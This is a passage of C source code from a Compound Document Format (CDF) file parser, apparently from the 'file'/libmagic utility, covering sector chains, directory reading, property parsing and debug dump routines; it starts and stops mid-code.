&& h->h_num_sectors_in_master_sat > CDF_SEC_LIMIT / nsatpersec) || i > CDF_SEC_LIMIT) { DPRINTF(("Number of sectors in master SAT too big %u %" SIZE_T_FORMAT "u\n", h->h_num_sectors_in_master_sat, i)); errno = EFTYPE; return -1; } sat->sat_len = h->h_num_sectors_in_master_sat * nsatpersec + i; DPRINTF(("sat_len = %" SIZE_T_FORMAT "u ss = %" SIZE_T_FORMAT "u\n", sat->sat_len, ss)); if ((sat->sat_tab = CAST(cdf_secid_t *, CDF_CALLOC(sat->sat_len, ss))) == NULL) return -1; for (i = 0; i < __arraycount(h->h_master_sat); i++) { if (h->h_master_sat[i] < 0) break; if (cdf_read_sector(info, sat->sat_tab, ss * i, ss, h, h->h_master_sat[i]) != CAST(ssize_t, ss)) { DPRINTF(("Reading sector %d", h->h_master_sat[i])); goto out1; } } if ((msa = CAST(cdf_secid_t *, CDF_CALLOC(1, ss))) == NULL) goto out1; mid = h->h_secid_first_sector_in_master_sat; for (j = 0; j < h->h_num_sectors_in_master_sat; j++) { if (mid < 0) goto out; if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Reading master sector loop limit")); goto out3; } if (cdf_read_sector(info, msa, 0, ss, h, mid) != CAST(ssize_t, ss)) { DPRINTF(("Reading master sector %d", mid)); goto out2; } for (k = 0; k < nsatpersec; k++, i++) { sec = CDF_TOLE4(CAST(uint32_t, msa[k])); if (sec < 0) goto out; if (i >= sat->sat_len) { DPRINTF(("Out of bounds reading MSA %" SIZE_T_FORMAT "u >= %" SIZE_T_FORMAT "u", i, sat->sat_len)); goto out3; } if (cdf_read_sector(info, sat->sat_tab, ss * i, ss, h, sec) != CAST(ssize_t, ss)) { DPRINTF(("Reading sector %d", CDF_TOLE4(msa[k]))); goto out2; } } mid = CDF_TOLE4(CAST(uint32_t, msa[nsatpersec])); } out: sat->sat_len = i; free(msa); return 0; out3: errno = EFTYPE; out2: free(msa); out1: free(sat->sat_tab); return -1; } size_t cdf_count_chain(const cdf_sat_t *sat, cdf_secid_t sid, size_t size) { size_t i, j; cdf_secid_t maxsector = CAST(cdf_secid_t, (sat->sat_len * size) / sizeof(maxsector)); DPRINTF(("Chain:")); if (sid == CDF_SECID_END_OF_CHAIN) { /* 0-length chain. */ DPRINTF((" empty\n")); return 0; } for (j = i = 0; sid >= 0; i++, j++) { DPRINTF((" %d", sid)); if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Counting chain loop limit")); goto out; } if (sid >= maxsector) { DPRINTF(("Sector %d >= %d\n", sid, maxsector)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } if (i == 0) { DPRINTF((" none, sid: %d\n", sid)); goto out; } DPRINTF(("\n")); return i; out: errno = EFTYPE; return CAST(size_t, -1); } int cdf_read_long_sector_chain(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { size_t ss = CDF_SEC_SIZE(h), i, j; ssize_t nr; scn->sst_tab = NULL; scn->sst_len = cdf_count_chain(sat, sid, ss); scn->sst_dirlen = MAX(h->h_min_size_standard_stream, len); scn->sst_ss = ss; if (sid == CDF_SECID_END_OF_CHAIN || len == 0) return cdf_zero_stream(scn); if (scn->sst_len == CAST(size_t, -1)) goto out; scn->sst_tab = CDF_CALLOC(scn->sst_len, ss); if (scn->sst_tab == NULL) return cdf_zero_stream(scn); for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read long sector chain loop limit")); goto out; } if (i >= scn->sst_len) { DPRINTF(("Out of bounds reading long sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, scn->sst_len)); goto out; } if ((nr = cdf_read_sector(info, scn->sst_tab, i * ss, ss, h, sid)) != CAST(ssize_t, ss)) { if (i == scn->sst_len - 1 && nr > 0) { /* Last sector might be truncated */ return 0; } DPRINTF(("Reading long sector chain %d", sid)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } return 0; out: errno = EFTYPE; return cdf_zero_stream(scn); } int cdf_read_short_sector_chain(const cdf_header_t *h, const cdf_sat_t *ssat, const cdf_stream_t *sst, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { size_t ss = CDF_SHORT_SEC_SIZE(h), i, j; scn->sst_tab = NULL; scn->sst_len = cdf_count_chain(ssat, sid, CDF_SEC_SIZE(h)); scn->sst_dirlen = len; scn->sst_ss = ss; if (scn->sst_len == CAST(size_t, -1)) goto out; scn->sst_tab = CDF_CALLOC(scn->sst_len, ss); if (scn->sst_tab == NULL) return cdf_zero_stream(scn); for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read short sector chain loop limit")); goto out; } if (i >= scn->sst_len) { DPRINTF(("Out of bounds reading short sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, scn->sst_len)); goto out; } if (cdf_read_short_sector(sst, scn->sst_tab, i * ss, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading short sector chain %d", sid)); goto out; } sid = CDF_TOLE4(CAST(uint32_t, ssat->sat_tab[sid])); } return 0; out: errno = EFTYPE; return cdf_zero_stream(scn); } int cdf_read_sector_chain(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, cdf_secid_t sid, size_t len, cdf_stream_t *scn) { if (len < h->h_min_size_standard_stream && sst->sst_tab != NULL) return cdf_read_short_sector_chain(h, ssat, sst, sid, len, scn); else return cdf_read_long_sector_chain(info, h, sat, sid, len, scn); } int cdf_read_dir(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_dir_t *dir) { size_t i, j; size_t ss = CDF_SEC_SIZE(h), ns, nd; char *buf; cdf_secid_t sid = h->h_secid_first_directory; ns = cdf_count_chain(sat, sid, ss); if (ns == CAST(size_t, -1)) return -1; nd = ss / CDF_DIRECTORY_SIZE; dir->dir_len = ns * nd; dir->dir_tab = CAST(cdf_directory_t *, CDF_CALLOC(dir->dir_len, sizeof(dir->dir_tab[0]))); if (dir->dir_tab == NULL) return -1; if ((buf = CAST(char *, CDF_MALLOC(ss))) == NULL) { free(dir->dir_tab); return -1; } for (j = i = 0; i < ns; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read dir loop limit")); goto out; } if (cdf_read_sector(info, buf, 0, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading directory sector %d", sid)); goto out; } for (j = 0; j < nd; j++) { cdf_unpack_dir(&dir->dir_tab[i * nd + j], &buf[j * CDF_DIRECTORY_SIZE]); } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } if (NEED_SWAP) for (i = 0; i < dir->dir_len; i++) cdf_swap_dir(&dir->dir_tab[i]); free(buf); return 0; out: free(dir->dir_tab); free(buf); errno = EFTYPE; return -1; } int cdf_read_ssat(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, cdf_sat_t *ssat) { size_t i, j; size_t ss = CDF_SEC_SIZE(h); cdf_secid_t sid = h->h_secid_first_sector_in_short_sat; ssat->sat_tab = NULL; ssat->sat_len = cdf_count_chain(sat, sid, ss); if (ssat->sat_len == CAST(size_t, -1)) goto out; ssat->sat_tab = CAST(cdf_secid_t *, CDF_CALLOC(ssat->sat_len, ss)); if (ssat->sat_tab == NULL) goto out1; for (j = i = 0; sid >= 0; i++, j++) { if (j >= CDF_LOOP_LIMIT) { DPRINTF(("Read short sat sector loop limit")); goto out; } if (i >= ssat->sat_len) { DPRINTF(("Out of bounds reading short sector chain " "%" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", i, ssat->sat_len)); goto out; } if (cdf_read_sector(info, ssat->sat_tab, i * ss, ss, h, sid) != CAST(ssize_t, ss)) { DPRINTF(("Reading short sat sector %d", sid)); goto out1; } sid = CDF_TOLE4(CAST(uint32_t, sat->sat_tab[sid])); } return 0; out: errno = EFTYPE; out1: free(ssat->sat_tab); return -1; } int cdf_read_short_stream(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_dir_t *dir, cdf_stream_t *scn, const cdf_directory_t **root) { size_t i; const cdf_directory_t *d; *root = NULL; for (i = 0; i < dir->dir_len; i++) if (dir->dir_tab[i].d_type == CDF_DIR_TYPE_ROOT_STORAGE) break; /* If the it is not there, just fake it; some docs don't have it */ if (i == dir->dir_len) { DPRINTF(("Cannot find root storage dir\n")); goto out; } d = &dir->dir_tab[i]; *root = d; /* If the it is not there, just fake it; some docs don't have it */ if (d->d_stream_first_sector < 0) { DPRINTF(("No first secror in dir\n")); goto out; } return cdf_read_long_sector_chain(info, h, sat, d->d_stream_first_sector, d->d_size, scn); out: scn->sst_tab = NULL; (void)cdf_zero_stream(scn); return 0; } static int cdf_namecmp(const char *d, const uint16_t *s, size_t l) { for (; l--; d++, s++) if (*d != CDF_TOLE2(*s)) return CAST(unsigned char, *d) - CDF_TOLE2(*s); return 0; } int cdf_read_doc_summary_info(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, cdf_stream_t *scn) { return cdf_read_user_stream(info, h, sat, ssat, sst, dir, "\05DocumentSummaryInformation", scn); } int cdf_read_summary_info(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, cdf_stream_t *scn) { return cdf_read_user_stream(info, h, sat, ssat, sst, dir, "\05SummaryInformation", scn); } int cdf_read_user_stream(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir, const char *name, cdf_stream_t *scn) { const cdf_directory_t *d; int i = cdf_find_stream(dir, name, CDF_DIR_TYPE_USER_STREAM); if (i <= 0) { memset(scn, 0, sizeof(*scn)); return -1; } d = &dir->dir_tab[i - 1]; return cdf_read_sector_chain(info, h, sat, ssat, sst, d->d_stream_first_sector, d->d_size, scn); } int cdf_find_stream(const cdf_dir_t *dir, const char *name, int type) { size_t i, name_len = strlen(name) + 1; for (i = dir->dir_len; i > 0; i--) if (dir->dir_tab[i - 1].d_type == type && cdf_namecmp(name, dir->dir_tab[i - 1].d_name, name_len) == 0) break; if (i > 0) return CAST(int, i); DPRINTF(("Cannot find type %d `%s'\n", type, name)); errno = ESRCH; return 0; } #define CDF_SHLEN_LIMIT (UINT32_MAX / 64) #define CDF_PROP_LIMIT (UINT32_MAX / (64 * sizeof(cdf_property_info_t))) static const void * cdf_offset(const void *p, size_t l) { return CAST(const void *, CAST(const uint8_t *, p) + l); } static const uint8_t * cdf_get_property_info_pos(const cdf_stream_t *sst, const cdf_header_t *h, const uint8_t *p, const uint8_t *e, size_t i) { size_t tail = (i << 1) + 1; size_t ofs; const uint8_t *q; if (p >= e) { DPRINTF(("Past end %p < %p\n", e, p)); return NULL; } if (cdf_check_stream_offset(sst, h, p, (tail + 1) * sizeof(uint32_t), __LINE__) == -1) return NULL; ofs = CDF_GETUINT32(p, tail); q = CAST(const uint8_t *, cdf_offset(CAST(const void *, p), ofs - 2 * sizeof(uint32_t))); if (q < p) { DPRINTF(("Wrapped around %p < %p\n", q, p)); return NULL; } if (q >= e) { DPRINTF(("Ran off the end %p >= %p\n", q, e)); return NULL; } return q; } static cdf_property_info_t * cdf_grow_info(cdf_property_info_t **info, size_t *maxcount, size_t incr) { cdf_property_info_t *inp; size_t newcount = *maxcount + incr; if (newcount > CDF_PROP_LIMIT) { DPRINTF(("exceeded property limit %" SIZE_T_FORMAT "u > %" SIZE_T_FORMAT "u\n", newcount, CDF_PROP_LIMIT)); goto out; } inp = CAST(cdf_property_info_t *, CDF_REALLOC(*info, newcount * sizeof(*inp))); if (inp == NULL) goto out; *info = inp; *maxcount = newcount; return inp; out: free(*info); *maxcount = 0; *info = NULL; return NULL; } static int cdf_copy_info(cdf_property_info_t *inp, const void *p, const void *e, size_t len) { if (inp->pi_type & CDF_VECTOR) return 0; if (CAST(size_t, CAST(const char *, e) - CAST(const char *, p)) < len) return 0; (void)memcpy(&inp->pi_val, p, len); switch (len) { case 2: inp->pi_u16 = CDF_TOLE2(inp->pi_u16); break; case 4: inp->pi_u32 = CDF_TOLE4(inp->pi_u32); break; case 8: inp->pi_u64 = CDF_TOLE8(inp->pi_u64); break; default: abort(); } return 1; } int cdf_read_property_info(const cdf_stream_t *sst, const cdf_header_t *h, uint32_t offs, cdf_property_info_t **info, size_t *count, size_t *maxcount) { const cdf_section_header_t *shp; cdf_section_header_t sh; const uint8_t *p, *q, *e; size_t i, o4, nelements, j, slen, left; cdf_property_info_t *inp; if (offs > UINT32_MAX / 4) { errno = EFTYPE; goto out; } shp = CAST(const cdf_section_header_t *, cdf_offset(sst->sst_tab, offs)); if (cdf_check_stream_offset(sst, h, shp, sizeof(*shp), __LINE__) == -1) goto out; sh.sh_len = CDF_TOLE4(shp->sh_len); if (sh.sh_len > CDF_SHLEN_LIMIT) { errno = EFTYPE; goto out; } if (cdf_check_stream_offset(sst, h, shp, sh.sh_len, __LINE__) == -1) goto out; sh.sh_properties = CDF_TOLE4(shp->sh_properties); DPRINTF(("section len: %u properties %u\n", sh.sh_len, sh.sh_properties)); if (sh.sh_properties > CDF_PROP_LIMIT) goto out; inp = cdf_grow_info(info, maxcount, sh.sh_properties); if (inp == NULL) goto out; inp += *count; *count += sh.sh_properties; p = CAST(const uint8_t *, cdf_offset(sst->sst_tab, offs + sizeof(sh))); e = CAST(const uint8_t *, cdf_offset(shp, sh.sh_len)); if (p >= e || cdf_check_stream_offset(sst, h, e, 0, __LINE__) == -1) goto out; for (i = 0; i < sh.sh_properties; i++) { if ((q = cdf_get_property_info_pos(sst, h, p, e, i)) == NULL) goto out; inp[i].pi_id = CDF_GETUINT32(p, i << 1); left = CAST(size_t, e - q); if (left < sizeof(uint32_t)) { DPRINTF(("short info (no type)_\n")); goto out; } inp[i].pi_type = CDF_GETUINT32(q, 0); DPRINTF(("%" SIZE_T_FORMAT "u) id=%#x type=%#x offs=%#tx,%#x\n", i, inp[i].pi_id, inp[i].pi_type, q - p, offs)); if (inp[i].pi_type & CDF_VECTOR) { if (left < sizeof(uint32_t) * 2) { DPRINTF(("missing CDF_VECTOR length\n")); goto out; } nelements = CDF_GETUINT32(q, 1); if (nelements == 0) { DPRINTF(("CDF_VECTOR with nelements == 0\n")); goto out; } slen = 2; } else { nelements = 1; slen = 1; } o4 = slen * sizeof(uint32_t); if (inp[i].pi_type & (CDF_ARRAY|CDF_BYREF|CDF_RESERVED)) goto unknown; switch (inp[i].pi_type & CDF_TYPEMASK) { case CDF_NULL: case CDF_EMPTY: break; case CDF_SIGNED16: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int16_t))) goto unknown; break; case CDF_SIGNED32: case CDF_BOOL: case CDF_UNSIGNED32: case CDF_FLOAT: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int32_t))) goto unknown; break; case CDF_SIGNED64: case CDF_UNSIGNED64: case CDF_DOUBLE: case CDF_FILETIME: if (!cdf_copy_info(&inp[i], &q[o4], e, sizeof(int64_t))) goto unknown; break; case CDF_LENGTH32_STRING: case CDF_LENGTH32_WSTRING: if (nelements > 1) { size_t nelem = inp - *info; inp = cdf_grow_info(info, maxcount, nelements); if (inp == NULL) goto out; inp += nelem; } DPRINTF(("nelements = %" SIZE_T_FORMAT "u\n", nelements)); for (j = 0; j < nelements && i < sh.sh_properties; j++, i++) { uint32_t l; if (o4 + sizeof(uint32_t) > left) goto out; l = CDF_GETUINT32(q, slen); o4 += sizeof(uint32_t); if (o4 + l > left) goto out; inp[i].pi_str.s_len = l; inp[i].pi_str.s_buf = CAST(const char *, CAST(const void *, &q[o4])); DPRINTF(("o=%" SIZE_T_FORMAT "u l=%d(%" SIZE_T_FORMAT "u), t=%" SIZE_T_FORMAT "u s=%s\n", o4, l, CDF_ROUND(l, sizeof(l)), left, inp[i].pi_str.s_buf)); if (l & 1) l++; slen += l >> 1; o4 = slen * sizeof(uint32_t); } i--; break; case CDF_CLIPBOARD: if (inp[i].pi_type & CDF_VECTOR) goto unknown; break; default: unknown: memset(&inp[i].pi_val, 0, sizeof(inp[i].pi_val)); DPRINTF(("Don't know how to deal with %#x\n", inp[i].pi_type)); break; } } return 0; out: free(*info); *info = NULL; *count = 0; *maxcount = 0; errno = EFTYPE; return -1; } int cdf_unpack_summary_info(const cdf_stream_t *sst, const cdf_header_t *h, cdf_summary_info_header_t *ssi, cdf_property_info_t **info, size_t *count) { size_t maxcount; const cdf_summary_info_header_t *si = CAST(const cdf_summary_info_header_t *, sst->sst_tab); const cdf_section_declaration_t *sd = CAST(const cdf_section_declaration_t *, RCAST(const void *, RCAST(const char *, sst->sst_tab) + CDF_SECTION_DECLARATION_OFFSET)); if (cdf_check_stream_offset(sst, h, si, sizeof(*si), __LINE__) == -1 || cdf_check_stream_offset(sst, h, sd, sizeof(*sd), __LINE__) == -1) return -1; ssi->si_byte_order = CDF_TOLE2(si->si_byte_order); ssi->si_os_version = CDF_TOLE2(si->si_os_version); ssi->si_os = CDF_TOLE2(si->si_os); ssi->si_class = si->si_class; cdf_swap_class(&ssi->si_class); ssi->si_count = CDF_TOLE4(si->si_count); *count = 0; maxcount = 0; *info = NULL; if (cdf_read_property_info(sst, h, CDF_TOLE4(sd->sd_offset), info, count, &maxcount) == -1) return -1; return 0; } #define extract_catalog_field(t, f, l) \ if (b + l + sizeof(cep->f) > eb) { \ cep->ce_namlen = 0; \ break; \ } \ memcpy(&cep->f, b + (l), sizeof(cep->f)); \ ce[i].f = CAST(t, CDF_TOLE(cep->f)) int cdf_unpack_catalog(const cdf_header_t *h, const cdf_stream_t *sst, cdf_catalog_t **cat) { size_t ss = cdf_check_stream(sst, h); const char *b = CAST(const char *, sst->sst_tab); const char *nb, *eb = b + ss * sst->sst_len; size_t nr, i, j, k; cdf_catalog_entry_t *ce; uint16_t reclen; const uint16_t *np; for (nr = 0;; nr++) { memcpy(&reclen, b, sizeof(reclen)); reclen = CDF_TOLE2(reclen); if (reclen == 0) break; b += reclen; if (b > eb) break; } if (nr == 0) return -1; nr--; *cat = CAST(cdf_catalog_t *, CDF_MALLOC(sizeof(cdf_catalog_t) + nr * sizeof(*ce))); if (*cat == NULL) return -1; ce = (*cat)->cat_e; memset(ce, 0, nr * sizeof(*ce)); b = CAST(const char *, sst->sst_tab); for (j = i = 0; i < nr; b += reclen) { cdf_catalog_entry_t *cep = &ce[j]; uint16_t rlen; extract_catalog_field(uint16_t, ce_namlen, 0); extract_catalog_field(uint16_t, ce_num, 4); extract_catalog_field(uint64_t, ce_timestamp, 8); reclen = cep->ce_namlen; if (reclen < 14) { cep->ce_namlen = 0; continue; } cep->ce_namlen = __arraycount(cep->ce_name) - 1; rlen = reclen - 14; if (cep->ce_namlen > rlen) cep->ce_namlen = rlen; np = CAST(const uint16_t *, CAST(const void *, (b + 16))); nb = CAST(const char *, CAST(const void *, (np + cep->ce_namlen))); if (nb > eb) { cep->ce_namlen = 0; break; } for (k = 0; k < cep->ce_namlen; k++) cep->ce_name[k] = np[k]; /* XXX: CDF_TOLE2? */ cep->ce_name[cep->ce_namlen] = 0; j = i; i++; } (*cat)->cat_num = j; return 0; } int cdf_print_classid(char *buf, size_t buflen, const cdf_classid_t *id) { return snprintf(buf, buflen, "%.8x-%.4x-%.4x-%.2x%.2x-" "%.2x%.2x%.2x%.2x%.2x%.2x", id->cl_dword, id->cl_word[0], id->cl_word[1], id->cl_two[0], id->cl_two[1], id->cl_six[0], id->cl_six[1], id->cl_six[2], id->cl_six[3], id->cl_six[4], id->cl_six[5]); } static const struct { uint32_t v; const char *n; } vn[] = { { CDF_PROPERTY_CODE_PAGE, "Code page" }, { CDF_PROPERTY_TITLE, "Title" }, { CDF_PROPERTY_SUBJECT, "Subject" }, { CDF_PROPERTY_AUTHOR, "Author" }, { CDF_PROPERTY_KEYWORDS, "Keywords" }, { CDF_PROPERTY_COMMENTS, "Comments" }, { CDF_PROPERTY_TEMPLATE, "Template" }, { CDF_PROPERTY_LAST_SAVED_BY, "Last Saved By" }, { CDF_PROPERTY_REVISION_NUMBER, "Revision Number" }, { CDF_PROPERTY_TOTAL_EDITING_TIME, "Total Editing Time" }, { CDF_PROPERTY_LAST_PRINTED, "Last Printed" }, { CDF_PROPERTY_CREATE_TIME, "Create Time/Date" }, { CDF_PROPERTY_LAST_SAVED_TIME, "Last Saved Time/Date" }, { CDF_PROPERTY_NUMBER_OF_PAGES, "Number of Pages" }, { CDF_PROPERTY_NUMBER_OF_WORDS, "Number of Words" }, { CDF_PROPERTY_NUMBER_OF_CHARACTERS, "Number of Characters" }, { CDF_PROPERTY_THUMBNAIL, "Thumbnail" }, { CDF_PROPERTY_NAME_OF_APPLICATION, "Name of Creating Application" }, { CDF_PROPERTY_SECURITY, "Security" }, { CDF_PROPERTY_LOCALE_ID, "Locale ID" }, }; int cdf_print_property_name(char *buf, size_t bufsiz, uint32_t p) { size_t i; for (i = 0; i < __arraycount(vn); i++) if (vn[i].v == p) return snprintf(buf, bufsiz, "%s", vn[i].n); return snprintf(buf, bufsiz, "%#x", p); } int cdf_print_elapsed_time(char *buf, size_t bufsiz, cdf_timestamp_t ts) { int len = 0; int days, hours, mins, secs; ts /= CDF_TIME_PREC; secs = CAST(int, ts % 60); ts /= 60; mins = CAST(int, ts % 60); ts /= 60; hours = CAST(int, ts % 24); ts /= 24; days = CAST(int, ts); if (days) { len += snprintf(buf + len, bufsiz - len, "%dd+", days); if (CAST(size_t, len) >= bufsiz) return len; } if (days || hours) { len += snprintf(buf + len, bufsiz - len, "%.2d:", hours); if (CAST(size_t, len) >= bufsiz) return len; } len += snprintf(buf + len, bufsiz - len, "%.2d:", mins); if (CAST(size_t, len) >= bufsiz) return len; len += snprintf(buf + len, bufsiz - len, "%.2d", secs); return len; } char * cdf_u16tos8(char *buf, size_t len, const uint16_t *p) { size_t i; for (i = 0; i < len && p[i]; i++) buf[i] = CAST(char, p[i]); buf[i] = '\0'; return buf; } #ifdef CDF_DEBUG void cdf_dump_header(const cdf_header_t *h) { size_t i; #define DUMP(a, b) (void)fprintf(stderr, "%40.40s = " a "\n", # b, h->h_ ## b) #define DUMP2(a, b) (void)fprintf(stderr, "%40.40s = " a " (" a ")\n", # b, \ h->h_ ## b, 1 << h->h_ ## b) DUMP("%d", revision); DUMP("%d", version); DUMP("%#x", byte_order); DUMP2("%d", sec_size_p2); DUMP2("%d", short_sec_size_p2); DUMP("%d", num_sectors_in_sat); DUMP("%d", secid_first_directory); DUMP("%d", min_size_standard_stream); DUMP("%d", secid_first_sector_in_short_sat); DUMP("%d", num_sectors_in_short_sat); DUMP("%d", secid_first_sector_in_master_sat); DUMP("%d", num_sectors_in_master_sat); for (i = 0; i < __arraycount(h->h_master_sat); i++) { if (h->h_master_sat[i] == CDF_SECID_FREE) break; (void)fprintf(stderr, "%35.35s[%.3" SIZE_T_FORMAT "u] = %d\n", "master_sat", i, h->h_master_sat[i]); } } void cdf_dump_sat(const char *prefix, const cdf_sat_t *sat, size_t size) { size_t i, j, s = size / sizeof(cdf_secid_t); for (i = 0; i < sat->sat_len; i++) { (void)fprintf(stderr, "%s[%" SIZE_T_FORMAT "u]:\n%.6" SIZE_T_FORMAT "u: ", prefix, i, i * s); for (j = 0; j < s; j++) { (void)fprintf(stderr, "%5d, ", CDF_TOLE4(sat->sat_tab[s * i + j])); if ((j + 1) % 10 == 0) (void)fprintf(stderr, "\n%.6" SIZE_T_FORMAT "u: ", i * s + j + 1); } (void)fprintf(stderr, "\n"); } } void cdf_dump(const void *v, size_t len) { size_t i, j; const unsigned char *p = v; char abuf[16]; (void)fprintf(stderr, "%.4x: ", 0); for (i = 0, j = 0; i < len; i++, p++) { (void)fprintf(stderr, "%.2x ", *p); abuf[j++] = isprint(*p) ? *p : '.'; if (j == 16) { j = 0; abuf[15] = '\0'; (void)fprintf(stderr, "%s\n%.4" SIZE_T_FORMAT "x: ", abuf, i + 1); } } (void)fprintf(stderr, "\n"); } void cdf_dump_stream(const cdf_stream_t *sst) { size_t ss = sst->sst_ss; cdf_dump(sst->sst_tab, ss * sst->sst_len); } void cdf_dump_dir(const cdf_info_t *info, const cdf_header_t *h, const cdf_sat_t *sat, const cdf_sat_t *ssat, const cdf_stream_t *sst, const cdf_dir_t *dir) { size_t i, j; cdf_directory_t *d; char name[__arraycount(d->d_name)]; cdf_stream_t scn; struct timespec ts; static const char *types[] = { "empty", "user storage", "user stream", "lockbytes", "property", "root storage" }; for (i = 0; i < dir->dir_len; i++) { char buf[26]; d = &dir->dir_tab[i]; for (j = 0; j < sizeof(name); j++) name[j] = (char)CDF_TOLE2(d->d_name[j]); (void)fprintf(stderr, "Directory %" SIZE_T_FORMAT "u: %s\n", i, name); if (d->d_type < __arraycount(types)) (void)fprintf(stderr, "Type: %s\n", types[d->d_type]); else (void)fprintf(stderr, "Type: %d\n", d->d_type); (void)fprintf(stderr, "Color: %s\n", d->d_color ? "black" : "red"); (void)fprintf(stderr, "Left child: %d\n", d->d_left_child); (void)fprintf(stderr, "Right child: %d\n", d->d_right_child); (void)fprintf(stderr, "Flags: %#x\n", d->d_flags); cdf_timestamp_to_timespec(&ts, d->d_created); (void)fprintf(stderr, "Created %s", cdf_ctime(&ts.tv_sec, buf)); cdf_timestamp_to_timespec(&ts, d->d_modified); (void)fprintf(stderr, "Modified %s", cdf_ctime(&ts.tv_sec, buf)); (void)fprintf(stderr, "Stream %d\n", d->d_stream_first_sector); (void)fprintf(stderr, "Size %d\n", d->d_size); switch (d->d_type) { case CDF_DIR_TYPE_USER_STORAGE: (void)fprintf(stderr, "Storage: %d\n", d->d_storage); break; case CDF_DIR_TYPE_USER_STREAM: if (sst == NULL) break; if (cdf_read_sector_chain(info, h, sat, ssat, sst, d->d_stream_first_sector, d->d_size, &scn) == -1) { warn("Can't read stream for %s at %d len %d", name, d->d_stream_first_sector, d->d_size); break; } cdf_dump_stream(&scn); free(scn.sst_tab); break; default: break; } } } void cdf_dump_property_info(const cdf_property_info_t *info, size_t count) { cdf_timestamp_t tp; struct timespec ts; char buf[64]; size_t i, j; for (i = 0; i < count; i++) { cdf_print_property_name(buf, sizeof(buf), info[i].pi_id); (void)fprintf(stderr, "%" SIZE_T_FORMAT "u) %s: ", i, buf); switch (info[i].pi_type) { case CDF_NULL: break; case CDF_SIGNED16: (void)fprintf(stderr, "signed 16 [%hd]\n", info[i].pi_s16); break; case CDF_SIGNED32: (void)fprintf(stderr, "signed 32 [%d]\n", info[i].pi_s32); break; case CDF_UNSIGNED32: (void)fprintf(stderr, "unsigned 32 [%u]\n", info[i].pi_u32); break; case CDF_FLOAT: (void)fprintf(stderr, "float [%g]\n", info[i].pi_f); break; case CDF_DOUBLE: (void)fprintf(stderr, "double [%g]\n", info[i].pi_d); break; case CDF_LENGTH32_STRING: (void)fprintf(stderr, "string %u [%.*s]\n", info[i].pi_str.s_len, info[i].pi_str.s_len, info[i].pi_str.s_buf); break; case CDF_LENGTH32_WSTRING: (void)fprintf(stderr, "string %u [", info[i].pi_str.s_len); for (j = 0; j < info[i].pi_str.s_len - 1; j++) (void)fputc(info[i].pi_str.s_buf[j << 1], stderr); (void)fprintf(stderr, "]\n"); break; case CDF_FILETIME: tp = info[i].pi_tp; if (tp < 1000000000000000LL) { cdf_print_elapsed_time(buf, sizeof(buf), tp); (void)fprintf(stderr, "timestamp %s\n", buf); } else { char tbuf[26]; cdf_timestamp_to_timespec(&ts, tp); (void)fprintf(stderr, "timestamp %s", cdf_ctime(&ts.tv_sec, tbuf)); } break; case CDF_CLIPBOARD: (void)fprintf(stderr, "CLIPBOARD %u\n", info[i].pi_u32); break; default: DPRINTF(("Don't know how to deal with %#x\n", info[i].pi_type)); break; } } } void cdf_dump_summary_info(const cdf_header_t *h, const cdf_stream_t *sst) { char buf[128]; cdf_summary_info_header_t ssi; cdf_property_info_t *info; size_t count; (void)&h; if (cdf_unpack_summary_info(sst, h, &ssi, &info, &count) == -1) return; (void)fprintf(stderr, "Endian: %#x\n", ssi.si_byte_order); (void)fprintf(stderr, "Os Version %d.%d\n", ssi.si_os_version & 0xff, ssi.si_os_version >> 8); (void)fprintf(stderr, "Os %d\n", ssi.si_os); cdf_print_classid(buf, sizeof(buf), &ssi.si_class); (void)fprintf(stderr, "Class %s\n", buf); (void)fprintf(stderr, "Count %d\n", ssi.si_count); cdf_dump_property_info(info, count); free(info); } void cdf_dump_catalog(const cdf_header_t *h, const cdf_stream_t *sst) { cdf_catalog_t *cat; cdf_unpack_catalog(h, sst, &cat); const cdf_catalog_entry_t *ce = cat->cat_e; struct timespec ts; char tbuf[64], sbuf[256]; size_t i; printf("Catalog:\n"); for (i = 0; i < cat->cat_num; i++) { cdf_timestamp_to_timespec(&ts, ce[i].ce_timestamp); printf("\t%d %s %s", ce[i].ce_num, cdf_u16tos8(sbuf, ce[i].ce_namlen, ce[i].ce_name), cdf_ctime(&ts.tv_sec, tbuf)); } free(cat); } #endif #ifdef TEST int main(int argc, char *argv[]) { int i; cdf_header_t h; cdf_sat_t sat, ssat; cdf_stream_t sst, scn; cdf_dir_t dir; cdf_info_t info; const cdf_directory_t *root; #ifdef __linux__ #define getprogname() __progname extern char *__progname; #endif if (argc < 2) { (void)fprintf(stderr, "Usage: %s <filename>\n", getprogname()); return -1; } info.i_buf = NULL; info.i_len = 0; for (i = 1; i < argc; i++) { if ((info.i_fd = open(argv[1], O_RDONLY)) == -1) err(EXIT_FAILURE, 